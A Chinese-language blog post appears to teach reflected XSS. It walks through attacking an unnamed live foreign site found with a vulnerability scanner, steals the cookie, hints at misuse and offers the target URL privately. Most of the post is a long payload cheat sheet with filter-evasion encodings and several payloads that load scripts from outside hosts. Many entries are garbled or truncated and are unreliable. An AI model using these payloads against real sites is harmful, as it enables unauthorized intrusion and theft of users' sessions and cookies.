獸哥出品---->XSS漏洞的原理與剖析

                Xss(跨站腳本***)

 

 

 

 

 

今天 獸哥又給大家帶來一份乾貨,關於xss漏洞問題

 

 

Xss是一種基於html屬性的*** 這是一種比較簡單的方法 然而現在存在xss漏洞已經很少了

 

但是..注意 這裏我用到了但是   

 

 

  我在掛代理 去國外找網站時  我發現某個渣渣國的很多很多網站存xss漏洞

 

 

  隨便掏了一個給大家做一下嘗試 講解原理


嗷嗷叫!!!!

 

 

wKiom1lpaFqA_c6iAABHj-UDHyk547.jpg-wh_50





拉出來safe3   輸入某網站 跑一下

   

可以看到  真的是很多啊 還有sql注入漏洞 

wKiom1lpaFujL8NtAAClSMxMY14415.png-wh_50


 

 

 

我隨便選中一行把

 

這個很短 很舒服 我們就選它

 

我們來進行試驗一下

 

這個網站 大體是這樣的:

 

 

https://xxxx.com/login?f= 

 

頁面肯定正常顯示, 我這裏只做原理講解 具體網址 我不方便放在這裏 有需要的可以私聊

我提供給你方法

然後呢 咱們在URL後面隨便輸入ddd 按回車 頁面正常顯示 然後注意! !!!!!

 

 

一定注意

 

 

這裏有個小技巧

 

Ctrl+U 看網頁源代碼  然後呢 按Ctrl+F  在左下角輸入框內搜索ddd字段

我們看一下ddd 這幾個字符 出現在哪裏

 

下圖是具體頁面:

wKioL1lpaFuiBRQzAAAJjKtQqWo225.png-wh_50


wKiom1lpaF2QiCdNAALm2XpA4Bw697.png-wh_50


wKioL1lpaF6CBLghAABRt4-TFNY789.png-wh_50

各位,我們可以看到,它目前出現在藍色的地方這 當然也有其他的地方也有ddd字段 我這裏就不作截屏了 拿出來一個作爲例子

 

我們可以看到 這段location.href ‘’ ;代碼呢  是很簡單的  我們只需要閉合 外加註釋掉後面的就可以了  我們這樣構造

 

    

 

 

 

wKioL1lpaF7CXRxrAAAMGO7yau4774.png-wh_50

 

那麼這樣一段代碼 在源碼的原理是什麼呢 我們來看一下

 

location.href ‘’><script>alert(document,cookie)</script> -- ’;  

 

前面黃色的呢 我用 ’> 將她 閉合掉了   後面的 ’; 我將它用 --  註釋掉了  

然後執行我們的語句 <script>alert(document,cookie)</script>

 

這樣 enter鍵 我們看看會得到什麼

 

 

沒錯 頁面返回來 cookie值

 

 

wKiom1lpaF_A3AQKAABSnuJ5fI0247.png-wh_50

 

得到cookie值我們能幹嘛 你懂得 哈哈

 

 

收起邪惡的嘴臉:簡單的來說  sql注入 就可以用到  聯合cookie 注入方法

 

 

 好了 今天 就到這裏 謝謝各位收看

 

 

 

 

 

 

下面呢 是我整理的 xss語句:

 

 

 

 

 

XSS基本探測pyload

<script>alert(“xss”)</script>

<script>alert(/xss/)</script>//雙引號換成斜槓

<script>alert(‘xss’)</script>//用單引號

<script>alert("xss");</script>//用分號

<script>alert('xss');</script>

<script>alert(/xss/);</script>

<script>alert("jdq") //自動補全

 

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//用分號

<script>alert("xss");;;;;;;;;;;;;;;;;    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//空格+分號

 

<script>alert("xss");;;;;;;;;;;;;;;;;       ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//換行符

 

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//回車

單引號被過濾

<script>alert(/jdq/)</script>  //用雙引號會把引號內的內容單獨作爲內容 用斜槓,則會連斜槓一起回顯

JavaScript僞協議】迴旋

<ahref="javascript:alert(/test/)">xss</a>

javascript僞協議】迴旋

<ahref="javascript:alert(/test/)">xss</a>

alert被過濾

<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

img標記】

<img src=xonerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>

on事件點擊觸發

//注意要用單引號 雙引號不會觸發

on事件點擊觸發

//注意要用單引號 雙引號不會觸發

【利用函數加密】

eval 函數配合編碼

<script>eval(“js+16進制加密)</script>

 

<script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>

編碼要執行的語句

Alert(“xss”)

unicode加密】

<script>eval("unicode加密")</script>

//js unicode加密 解決alert()被過濾

<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>

格式

標記eval(“編碼”) 結束標記

String.fromCharCod函數】

String.fromCharCode需要配合eval來實現,

構造

<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

eval內容加引號相當於正常js語句來執行

不加引號,則是默認作爲eval的其他參數語句來執

固定格式<script>eval(String.fromCharCode編碼內容))</script>

String.fromCharCod函數】

String.fromCharCode需要配合eval來實現,

構造

<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

eval內容加引號相當於正常js語句來執行

不加引號,則是默認作爲eval的其他參數語句來執

固定格式<script>eval(String.fromCharCode編碼內容))</script>

【各標籤實戰pyload
——————————————————-xss其他標籤下的js用法總結大全––——————————–————————————

 

<imgsrc=javascript:document.write('<scr'+'ipt src=\'http://www.baidu.com/1.txt\'></scr'+'ipt>')></img>  //僅支持IE6

 

 

<imgsrc=javascript:window.s=document.createElement('script');window.s.src='http://lcx.cc/1.js';document.body.appendChild(window.s);></img>  //僅支持IE6

 

 

<imgsrc="pdpdp.gif"></img>  //通殺所有瀏覽器能觸發xss

 

<img src="pdpdp.gif"></img>   //通殺所有瀏覽器 能觸發xss

 

 

<img src=xonerror=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">

 

 

<input autofocus="bbbb" />

 

 

<objectdata="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>

 

<iframe width="0px"height="0px"src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></iframe>  ie不支持

 

<ahref="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3d3dy5wb29qeC5jb20vMS5qcz48L3NjcmlwdD4=">sb</a>

 

<anchor><img>(不執行js)<a>(需點擊) <meta>.....

 

<anchoronload=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">

 

<svgonload=document.body.appendChild(document.CReateElement("scr"+"ipt")).src="http://www.baidu.com">

 

<svgonload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>

 

<baa id="1" tabindex=0>

 

 

 

 

(1)普通的XSS JavaScript注入

<SCRIPTSRC=http://3w.org/XSS/xss.js></SCRIPT>

 

(2)IMG標籤XSS使用JavaScript命令

<SCRIPTSRC=http://3w.org/XSS/xss.js></SCRIPT>

 

(3)IMG標籤無分號無引號

<IMG SRC=javascript:alert(‘XSS’)>

 

(4)IMG標籤大小寫不敏感

<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

 

(5)HTML編碼(必須有分號)

<IMG SRC=javascript:alert(“XSS”)>

 

(6)修正缺陷IMG標籤

<IMG“”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

 

(7)formCharCode標籤

<IMGSRC=javascript:alert(String.fromCharCode(88,83,83))>

 

(8)UTF-8Unicode編碼

<IMG SRC=jav..省略..S')>

 

(9)7位的UTF-8Unicode編碼是沒有分號的

<IMG SRC=jav..省略..S')>

 

(10)十六進制編碼也是沒有分號

<IMG SRC=\'#\'" /span>

 

(11)嵌入式標籤,Javascript分開

<IMG SRC=\'#\'"ascript:alert(‘XSS’);”>

 

(12)嵌入式編碼標籤,Javascript分開

<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

 

(13)嵌入式換行符

<IMG SRC=\'#\'"ascript:alert(‘XSS’);”>

 

(14)嵌入式回車

<IMG SRC=\'#\'"ascript:alert(‘XSS’);”>

 

(15)嵌入式多行注入JavaScript,這是XSS極端的例子

<IMG SRC=\'#\'" /span>

 

(16)解決限制字符(要求同頁面)

<script>z=’document.’</script>

<script>z=z+’write(“‘</script>

<script>z=z+’<script’</script>

<script>z=z+’ src=ht’</script>

<script>z=z+’tp://ww’</script>

<script>z=z+’w.shell’</script>

<script>z=z+’.net/1.’</script>

<script>z=z+’js></sc’</script>

<script>z=z+’ript>”)’</script>

<script>eval_r(z)</script>

 

(17)空字符

perl -e ‘print “<IMGSRC=Java\0script:alert(\”XSS\”)>”;’ > out

 

(18)空字符2,空字符在國內基本沒效果.因爲沒有地方可以利用

perl -e ‘print“<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

 

(19)Spacesmeta前的IMG標籤

<IMG SRC=\'#\'"
  javascript:alert(‘XSS’);”>

 

(20)Non-alpha-non-digit XSS

<SCRIPT/XSS SRC=\'#\'"/span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>

 

(21)Non-alpha-non-digit XSS to 2

<BODYonload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

 

(22)Non-alpha-non-digit XSS to 3

<SCRIPT/SRC=\'#\'"/span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>

 

(23)雙開括號

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

 

(24)無結束腳本標記(僅火狐等瀏覽器)

<SCRIPTSRC=http://3w.org/XSS/xss.js?<B>

 

(25)無結束腳本標記2

<SCRIPT SRC=//3w.org/XSS/xss.js>

 

(26)半開的HTML/JavaScriptXSS

<IMG SRC=\'#\'" /span>

 

(27)雙開角括號

<iframe src=http://3w.org/XSS.html <

 

(28)無單引號 雙引號 分號

<SCRIPT>a=/XSS/

alert(a.source)</SCRIPT>

 

(29)換碼過濾的JavaScript

\”;alert(‘XSS’);//

 

(30)結束Title標籤

</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

 

(31)Input Image

<INPUT SRC=\'#\'" /span>

 

(32)BODY Image

<BODYBACKGROUND=”javascript:alert(‘XSS’)”>

 

(33)BODY標籤

<BODY(‘XSS’)>

 

(34)IMG Dynsrc

<IMG DYNSRC=\'#\'" /span>

 

(35)IMG Lowsrc

<IMG LOWSRC=\'#\'" /span>

 

(36)BGSOUND

<BGSOUND SRC=\'#\'" /span>

 

(37)STYLE sheet

<LINK REL=”stylesheet”HREF=”javascript:alert(‘XSS’);”>

 

(38)遠程樣式表

<LINK REL=”stylesheet”HREF=”[url=http://3w.org/xss.css]http://3w.org/xss.css[/url]”>

 

(39)List-style-p_w_picpath(列表式)

<STYLE>li {list-style-p_w_picpath:url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

 

(40)IMG VBscript

<IMG SRC=\'#\'"/STYLE><UL><LI>XSS

 

(41)META鏈接url

<META HTTP-EQUIV=”refresh” CONTENT=”0;URL=http://;URL=javascript:alert(‘XSS’);”>

 

(42)Iframe

<IFRAME SRC=\'#\'" /IFRAME>

 

(43)Frame

<FRAMESET><FRAME SRC=\'#\'"/FRAMESET>

 

(44)Table

<TABLEBACKGROUND=”javascript:alert(‘XSS’)”>

 

(45)TD

<TABLE><TDBACKGROUND=”javascript:alert(‘XSS’)”>

 

(46)DIV background-p_w_picpath

<DIV STYLE=”background-p_w_picpath:url(javascript:alert(‘XSS’))”>

 

(47)DIV background-p_w_picpath後加上額外字符(1-32&34&39&160&8192-8&13&12288&65279)

<DIV STYLE=”background-p_w_picpath: url(javascript:alert(‘XSS’))”>

 

(48)DIV expression

<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

 

(49)STYLE屬性分拆表達

<IMGSTYLE=”xss:expression_r(alert(‘XSS’))”>

 

(50)匿名STYLE(組成:開角號和一個字母開頭)

<XSSSTYLE=”xss:expression_r(alert(‘XSS’))”>

 

(51)STYLE background-p_w_picpath

<STYLE>.XSS{background-p_w_picpath:url(“javascript:alert(‘XSS’)”);}</STYLE><ACLASS=XSS></A>

 

(52)IMG STYLE方式

exppression(alert(“XSS”))’>

 

(53)STYLE background

<STYLE><STYLEtype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

 

(54)BASE

<BASEHREF=”javascript:alert(‘XSS’);//”>

 

(55)EMBED標籤,你可以嵌入FLASH,其中包涵XSS

<EMBED SRC=\'#\'"/span>[flash]http://3w.org/XSS/xss.swf[/flash]” ></EMBED>

 

                    

         

 


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章